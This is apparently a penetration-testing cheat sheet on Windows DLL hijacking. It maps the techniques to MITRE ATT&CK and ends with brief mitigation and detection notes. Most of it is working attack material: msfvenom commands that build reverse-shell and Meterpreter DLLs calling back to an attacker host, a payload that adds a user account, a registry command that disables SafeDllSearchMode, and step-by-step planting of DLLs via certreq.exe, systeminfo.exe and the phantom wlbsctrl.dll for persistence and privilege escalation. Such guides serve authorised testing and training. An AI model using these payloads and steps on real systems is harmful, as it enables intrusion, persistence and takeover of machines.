DLL Hijacking

Dynamic link library (DLL) Hijacking involves manipulating a trusted application into loading a malicious DLL. It is used for defense evasion, persistence and privilege escalation.

Tools: PowerUp (Find-ProcessDLLHijack, Find-PathDLLHijack, Write-HijackDll), Sysinternals, Msfvenom, WinPEAS

Table of Contents

MITRE ATT&CK Mapping

Technique/Sub-techniqueDLL Attack
T1574 Hijack Execution Flow
(no sub-technique)
DLL Replacement
WinSxS DLL Replacement
T1574.001 Hijack Execution Flow: DLL Search Order HijackingDLL Search Order
Phantom DLL Hijacking
DLL Redirection
Relative Path DLL Hijacking
T1574.002 Hijack Execution Flow: DLL Side-LoadingDLL Side-loading
T1055.001 Process Injection: Dynamic-link Library InjectionDLL injection is a method of executing arbitrary code in the address space of a separate live process.

Controls

Safe DLL Search Mode

Safe DLL search mode (enabled by default) moves the user’s current folder later in the search order. To disable safe DLL search mode, create the registry value, and set it to 0:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode

Check if Safe DLL Search Mode is enabled

SafeDllSearchMode does not show using “reg query”, even with cmd as Administrator.

Open regedit and look for:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode

Disable it. YOU NEED TO RESTART.

reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager" /v SafeDllSearchMode /t REG_DWORD /d 0 /f

KnownDLLs

If the DLL is listed in this registry key, DLL hijacking will not work. List Known DLLs:

reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs"

Generate a DLL file

Msfvenom

Generate a DLL using Metasploit’s Msfvenom.

Some payloads do NOT work for DLLs.

msfvenom -l payloads
msfvenom -p <YOUR-PAYLOAD> --format dll --platform windows > myprecious.dll

EXITFUNC: ”, seh, thread, process, none

Common DLL-Compatible Payloads:

Common DLL-Compatible PayloadsDescription
windows/execRun custom command
windows/x64/execx64 version
windows/meterpreter/reverse_tcpStaged Meterpreter
windows/meterpreter/reverse_httpsEncrypted staged shell
windows/meterpreter_reverse_tcpStageless Meterpreter
windows/shell/reverse_tcpSimple revshell, WORKS!

Reverse shell

msfvenom -p windows/shell/reverse_tcp LHOST=${KALI_IP} LPORT=4444 -f dll -o reverse.dll
msfvenom -p windows/x64/shell/reverse_tcp LHOST=${KALI_IP} LPORT=4444 -f dll -o reverse.dll
msfvenom -p windows/meterpreter/reverse_https LHOST=${KALI_IP} LPORT=4444 EXITFUNC=process -f dll -o reverse-https.dll

Message Box

msfvenom -p windows/x64/messagebox ICON=INFORMATION TEXT="It works!" TITLE="Message" EXITFUNC=process --format dll --platform windows > messagebox.dll

Execute a command

msfvenom -p windows/x64/exec CMD="msg %username% It works!" EXITFUNC=process --format dll --platform windows > cmd.dll
msfvenom -p windows/exec CMD="C:\Windows\System32\calc.exe" -f dll -o calc.dll

Add a user

msfvenom -p windows/adduser USER=myprecious PASS=MyPrecious666! -f dll -o adduser.dll

Manually

A lot of executables will not load DLLs if procedures or entry points are missing.

Use DLL Export Viewer (NirSoft) to enumerate all external function names and ordinals of the legitimate DLL. Ensure the compiled DLL follows the same format to maximise chances of being loaded successfully.

See Windows DLL Hijacking (GitHub).

See PoC from Lisandre.com on GitHub.

messagebox.cpp

#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved) {
 MessageBox(NULL, TEXT("DLL Hijacking"), TEXT("It works!"), 0);
 return 0;
}

messagebox.cpp – writes to command prompt instead of a window

#include <windows.h>
#include <stdio.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        printf("DLL Hijacking: It works!\n");
    }
    return TRUE;
}

messagebox_test.c

#include <windows.h>
#include <stdio.h>

int main() {
    HMODULE h = LoadLibraryA("messagebox.dll");
    if (!h) {
        printf("LoadLibrary failed: %lu\n", GetLastError());
    } else {
        printf("DLL loaded!\n");
    }
    return 0;
}

Compile the files. See Mingw-w64.

32-bit:

For binaries from C:\Windows\System32, compile in 32-bit.

i686-w64-mingw32-g++ -c messagebox.cpp
i686-w64-mingw32-g++ -static-libgcc -static-libstdc++ -shared -o messagebox.dll messagebox.o

i686-w64-mingw32-gcc messagebox_test.c -o messagebox_test.exe

64-bit:

x86_64-w64-mingw32-g++ -c messagebox.cpp
x86_64-w64-mingw32-g++ -static-libgcc -static-libstdc++ -shared -o messagebox.dll messagebox.o

x86_64-w64-mingw32-gcc messagebox_test.c -o messagebox_test.exe

Find vulnerable applications

List running processes

wmic process > processes.txt
tasklist /FO CSV > tasks.txt

DLL Replacement Attacks

Attacker places or replaces a DLL to be loaded in place of a legitimate one.

Requires write access to system or application directories.

DLL Replacement

Overwrite or replace the legitimate existing DLL with the generated DLL. Optionally, use a DLL Proxying to preserve the original DLL’s functionality.

Find DLLs loaded by a process:

  • Run Sysinternals Procmon/Procmon64.
  • Click on the filter icon (or menu Filter->Filter).
  • Add filters for:
    • “Path” + “ends with” + “.dll”
    • “Process Name” + “is” + “<process name>”

For all DLLs loaded by the process, find if you have write access on the path using icacls (Microsoft). (F=Full,M=Modify,W=Write)

icacls C:\<DLL path>

WinSxS DLL Replacement

Replace or spoof DLLs in the Windows Side-by-Side (WinSxS) store to affect applications using side-by-side assemblies.

Replace the legitimate existing DLL with the generated DLL in the C:\Windows\WinSxS directory. Often done with DLL side-loading. The WinSxS (“Windows Side by Side”) is where Windows stores files required for installing Windows and backups or versions of those files.

Search Order and Path Manipulation Attacks

Exploits how Windows resolves DLLs when the application does not explicitly define the full path.

DLL Search Order Hijacking

Move the generated DLL in a search path ahead of the legitimate existing DLL. Can be used to establish persistence, privilege escalation and/or evading restrictions on file execution.

Search order: directory from which the application is loaded, C:\Windows\System32, C:\Windows\System, C:\Windows, current working directory, system PATH environment variable, user PATH environment variable.

Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL.

certreq.exe

Be careful, certreq.exe will be executed after a reboot so the payload will be executed. Can be used for persistence.

Generate a DLL or download version.c (GitHub, Lisandre.com). Compile it.

x86_64-w64-mingw32-gcc -shared -o version.dll version.c

On Windows, copy the DLL file to a path ahead in the search order. Adjust the version number in the destination path if necessary.

copy /Y C:\Downloads\version.dll C:\Users\%USERNAME%\AppData\Local\Microsoft\OneDrive\25.051.00317.003\version.dll

Run certreq.exe

C:\Windows\System32\certreq.exe

Relative Path DLL Hijacking

Move the generated DLL in a user-controlled directory with the copied application. In the “Bring Your Own LOLbin” variation, the the legitimate application is brought with the generated DLL instead of being copied from the victim’s machine.

It can be any vulnerable executable.

Nearly 300 executables in folder “C:\Windows\System32” are vulnerable to relative path DLL hijacking. See this post (BleepingComputer).

Copy the vulnerable executable to a user-writable directory.

Find which DLLs are loaded by the application from the user-writable directory:

  • Run Sysinternals Procmon/Procmon64.
  • Click on the filter icon (or menu Filter->Filter).
  • Add filters for:
    • “Path” + “ends with” + “.dll”
    • “Process Name” + “is” + “<process name>”
  • Look at the paths and take note of the DLLs loaded from the user-writable directory.

Copy or move the generated DLL to the same user-writable directory as the copied application. Rename it to a legitimate DLL previously found with Procmon.

copy C:\<somepath>\myprecious.dll C:\Users\%USERNAME%\Desktop\<some legitimate dll name>.dll

systeminfo.exe

Generate a DLL or download version.c (GitHub, Lisandre.com). Compile it.

x86_64-w64-mingw32-gcc -shared -o version.dll version.c

On Windows, copy the vulnerable application and DLL file to a user-writable path.

copy /Y C:\Windows\System32\systeminfo.exe C:\Users\%USERNAME%\Desktop\systeminfo.exe
copy /Y C:\Downloads\version.dll C:\Users\%USERNAME%\Desktop\version.dll

Run systeminfo.exe

cd C:\Users\%USERNAME%\Desktop
systeminfo.exe

Phantom DLL Hijacking

Move the generated DLL in place of a missing/non-existing DLL that a legitimate application tries to load.

Find missing DLLs:

  • Run Sysinternals Procmon/Procmon64.
  • Click on the filter icon (or menu Filter->Filter).
  • Add filters for:
    • “Result” + “is” + “NAME NOT FOUND”
    • “Path” + “ends with” + “.dll”
    • Optional: “Process Name” + “is” + “<process name>”

A privilege escalation is possible if any of those DLLs or the DLL search path is modifiable by non admin users.

copy C:\<generated DLL path> C:\<missing DLL path>

wlbsctrl.dll

File wlbsctrl.dll is a phantom DLL, meaning it normally does not exist.

Generate a DLL or download wlbsctrl.c (GitHub, Lisandre.com). Compile it.

x86_64-w64-mingw32-gcc -shared -o wlbsctrl.dll wlbsctrl.c

Open a cmd prompt as Administrator.

sc query IKEEXT
sc stop IKEEXT
copy C:\<generated DLL path> C:\Windows\System32\wlbsctrl.dll
sc start IKEEXT
# Cleanup
sc stop IKEEXT
del C:\Windows\System32\wlbsctrl.dll

DLL Redirection

Change the search parameters (location) in which the DLL is searched for.

Examples:

  • Edit the %PATH% environment variable
  • Edit the .exe.manifest/.exe.local files to include the folder containing the generated DLL

DLL Side-Loading Attack

Exploits trusted applications that intentionally load DLLs from their own directories.

A legitimate, signed app is designed to load DLLs from its own folder – the attacker places the generated DLL with the expected name.

Rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, the attacker may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).

It uses a signed/legit executable.

Recommendation

  • Developers should require set paths for DLLs in applications.
  • System administrators should disable write permissions to relative application folders, and utilize least privilege access to prevent users/applications from having too much access to the system.

Detection

CrowdStrike Falcon OverWatch continuously hunts for globally rare DLL files, files written to suspicious locations and programs executing from unusual locations.